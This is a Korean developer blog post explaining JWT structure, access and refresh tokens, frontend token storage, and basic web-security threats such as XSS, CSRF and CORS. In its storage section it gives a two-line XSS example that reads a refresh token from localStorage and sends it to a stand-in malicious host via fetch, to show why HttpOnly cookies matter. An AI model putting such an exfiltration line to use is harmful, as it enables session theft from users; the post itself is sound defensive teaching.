[React] 프론트엔드가 알아야 하는 웹 보안 상식

은서·2025년 1월 9일

HTML/React

목록 보기
5/7
post-thumbnail

1. 토큰(Token) 이란?

토큰(Token)은 사용자 인증 및 권한 부여를 위한 임시 데이터이다.
토큰은 특정 정보를 포함하고 있으며, 이를 기반으로 서버와 클라이언트 간의 신뢰를 형성하는 역할을 한다.

1. 토큰의 구조 (JWT 기준)

JWT는 세 부분으로 구성된 문자열이다.
토큰은 이렇게 일반적으로 문자열 형태로 구성된다.

  • Header (헤더)
    토큰의 타입과 해싱 알고리즘 정보를 포함한다.
    예: { "alg": "HS256", "typ": "JWT" }

  • Payload (페이로드)
    인증과 관련된 정보를 담고 있으며, 사용자 ID, 권한, 토큰 만료 시간 등이 포함된다.
    예: { "sub": "1234567890", "name": "John Doe", "exp": 1714971600 }

  • Signature (서명)
    Header와 Payload를 특정 키로 암호화하여 생성한 값으로, 토큰이 변조되지 않았음을 증명한다.
    예: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

2. 토큰을 사용하는 이유

  • 상태를 서버에 저장하지 않아도 된다(Stateless)
    토큰은 클라이언트에 저장되므로, 서버는 사용자의 상태를 별도로 유지할 필요가 없다.
    이를 통해 확장성이 좋아지고, 서버 부하가 줄어드는 효율성이 있다.

  • 보안 및 편의성
    비밀번호를 매번 전송할 필요 없이, 토큰을 통해 한 번 로그인으로 여러 API 호출을 할 수 있다.
    민감한 데이트를 토큰에 표함하지 않고 필요한 최소한의 정보만 담아 보안을 유지할 수 있다.

  • 유효 기간 관리
    Access Token과 Refresh Token을 사용해 보안과 사용자 경험을 모두 충족할 수 있다.

    Access Token: 짧은 유효 기간으로 보안을 강화.
    Refresh Token: 긴 유효 기간으로 사용자 편의성 제공.
  • CORS 및 세션 문제 해결
    브라우저에서 서로 다른 도메인간 요청(CORS) 처리 시, 세션 쿠기 대신 토큰을 사용하면 보다 쉽게 인증 문제를 해결할 수 있다.

그럼 지금까지 토큰이 무엇인지를 알아보았으니 진짜 본론으로 들어가보도록 하자~

2. Access Token과 Token의 차이

1. Access Token

  • 역할: 사용자 인증이 완료된 후, 클라이언트가 서버에 API 요청을 할 때 사용되는 토큰.
  • 유효 기간: 일반적으로 짧은 유효 기간(수 분 ~ 수십 분)을 가짐.
  • 특징:
    요청 헤더에 포함시켜 보호된 리소스에 접근할 수 있음.
    만료되면 더 이상 사용할 수 없으므로 새로운 Access Token이 필요함.

2. Refresh Roken

  • 역할: Access Token이 만료되었을 때, 새로운 Access Token을 발급받기 위한 토큰.
  • 유효 기간: Access Token보다 훨씬 긴 유효 기간(수일 ~ 수개월)을 가짐.
  • 특징:
    서버에만 저장되며, 클라이언트는 이를 보관하지 않거나 보안이 강화된 영역에 보관해야 함.
    일반적으로 재발급 엔드포인트(/auth/refresh)에 요청할 때 사용.
    Access Token과 달리, 리소스 접근에 직접 사용되지 않음.

3. Refresh Token 사용 시 프론트엔드 처리 방식

0. Refresh Token이 필요한 이유

Access Token의 유효 기간이 짧기 때문에 사용자는 자주 로그인이 만료되는 경험을 하게 됨.
Refresh Token을 사용하면 사용자가 다시 로그인할 필요 없이 자동으로 새로운 Access Token을 발급받아 UX를 개선할 수 있음.

1. 기본 처리 흐름

  • 초기 로그인:
    서버로부터 Access Token과 Refresh Token을 발급받음.
    Access Token은 클라이언트가 메모리에 저장하고, Refresh Token은 보안 영역(예: HttpOnly 쿠키)에 저장.

  • API 요청:
    API 요청 시 Access Token을 요청 헤더(Authorization: Bearer )에 포함하여 보냄.

  • Access Token 만료 시:
    서버가 401 Unauthorized 응답을 반환하면, 프론트엔드는 Refresh Token을 이용하여 새로운 Access Token을 발급받음.
    발급받은 새로운 Access Token으로 다시 요청을 재시도함.

2. 주의사항

  • Refresh Token 보관:
    Refresh Token은 반드시 HttpOnly 쿠키에 저장하여 XSS 공격에 노출되지 않도록 함.
  • 토큰 재발급 주기:
    너무 자주 Refresh Token으로 Access Token을 재발급하지 않도록 만료 시간을 적절히 설정.\
  • 자동 로그아웃 처리:
    Refresh Token도 만료된 경우, 사용자에게 다시 로그인을 요구함으로써 보안을 유지해야 함.

3. 추가로 알아두어야 할 웹 보안 개념

1. XSS(Cross-Site Scripting)

  • 개념: 악성 스크립트를 웹 애플리케이션에 삽입하여 사용자의 세션, 쿠키 등을 탈취하는 공격.
  • 대처법:
    사용자 입력을 HTML에 렌더링하기 전에 반드시 인코딩 처리.
    React와 같은 라이브러리는 JSX 자동 인코딩으로 기본적인 보호 제공.

2. CSRF (Cross-Site Request Forgery)

  • 개념: 사용자가 인증된 세션을 이용하여 공격자가 의도한 요청을 서버로 보내는 공격.
  • 대처법:
    CSRF 토큰을 사용하여 요청을 검증.
    Refresh Token을 HttpOnly 쿠키에 저장하고 CSRF 방어 토큰을 추가로 헤더에 포함하여 방어.

3. HTTPS

  • 개념: HTTP 요청과 응답을 암호화하여 중간에 탈취당하지 않도록 하는 보안 프로토콜.
  • 대처법:
    모든 요청은 반드시 HTTPS로 통신.
    인증 관련 토큰 및 민감한 데이터는 평문이 아닌 암호화된 상태로 전송.

4. CORS (Cross-Origin Resource Sharing)

  • 개념: 서로 다른 도메인 간 요청을 제한하는 보안 정책.
  • 대처법:
    서버에서 적절한 CORS 설정을 하여 허용할 도메인만 지정.
    클라이언트 요청 시 필요한 헤더(Origin, Credentials)를 포함하여 요청.

3. 프론트엔드에서 주의할 점

1. 보관방식
LocalStorage나 SessionStorage에 Refresh Token을 보관하면 XSS 공격에 취약할 수 있으므로, 반드시 HttpOnly 쿠키에 저장해야 함.

  • 왜 LocalStorage와 SessionStorage에 Refresh Token을 저장하면 안 될까?
    LocalStorage와 SessionStorage에 저장된 데이터는 브라우저 내 모든 스크립트에서 접근할 수 있습니다. 만약 사이트에 악성 스크립트가 삽입되는 XSS(Cross-Site Scripting) 공격이 발생할 경우, 공격자는 해당 스크립트를 통해 사용자의 토큰을 탈취할 수 있다.

XSS 공격 예시:
가정: Refresh Token이 LocalStorage에 저장된 경우
const token = localStorage.getItem("refreshToken");
fetch("https://malicious-site.com", { method: "POST", body: token });

  • HttpOnly 쿠키란?
    HttpOnly 속성이 설정된 쿠키는 클라이언트의 자바스크립트에서 접근할 수 없다. 즉, XSS 공격으로도 탈취가 불가능하다.
    브라우저가 자동으로 요청 시 쿠키를 헤더에 포함하기 때문에 Refresh Token을 사용할 때도 편리하다.

쿠키 설정 예시:
// Set-Cookie: refreshToken=abcd1234; HttpOnly; Secure; SameSite=Strict

Secure 속성: HTTPS 요청에서만 쿠키를 전송한다.

2. 토큰 재발급 요청: Axios 인터셉터 활용

토큰이 만료될 때마다 새로운 Access Token을 발급받기 위해 Refresh Token을 자동으로 사용하도록 API 요청 인터셉터(예: Axios 인터셉터)를 활용할 수 있다.

  • 왜 API 요청 인터셉터를 사용할까?
    토큰 기반 인증 시스템에서는 Access Token이 주기적으로 만료되기 때문에, 만료된 토큰으로 요청이 실패했을 때 자동으로 새로운 Access Token을 발급받고 다시 요청을 시도해야 한다.
    이 과정이 수동으로 이루어지면 코드가 복잡해지고 오류가 발생할 수 있으므로, Axios와 같은 HTTP 클라이언트의 인터셉터를 사용하여 자동으로 처리할 수 있다.
  • 인터셉터 기본 동작 방식
  1. API 요청 전, Access Token을 Authorization 헤더에 포함한다.
  2. 요청 실패 시(예: 401 Unauthorized 응답), Refresh Token으로 새로운 Access Token을 요청.
  3. 새로운 Access Token이 발급되면 원래 요청을 다시 시도한다.
  4. 모든 작업이 완료된 후 정상적인 응답을 반환한다.

4. 결론

  • 토큰 기반 인증은 서버와 클라이언트 간의 효율적이고 확장 가능한 인증 방식이다.
    특히 JWT와 같은 구조화된 토큰을 통해 상태를 유지하지 않는(stateless) 방식으로 작동하여 높은 유연성을 제공한다.
  • Access TokenRefresh Token을 적절히 활용하면, 짧은 유효 기간으로 보안을 강화하면서도 UX를 개선할 수 있다. 프론트엔드에서는 보안이 중요한 만큼, HttpOnly 쿠키를 이용한 Refresh Token 관리와 Axios 인터셉터를 통한 자동 재발급 처리가 핵심이다.
  • XSS, CSRF, CORS 등 주요 웹 보안 위협에 대비하고, 모든 통신을 HTTPS로 암호화하여 안전한 데이터 전송을 보장해야 합니다. 이러한 모든 요소를 종합적으로 고려함으로써, 보안성과 사용자 편의성을 동시에 확보할 수 있다.
profile
개발자 대학생🌱

0개의 댓글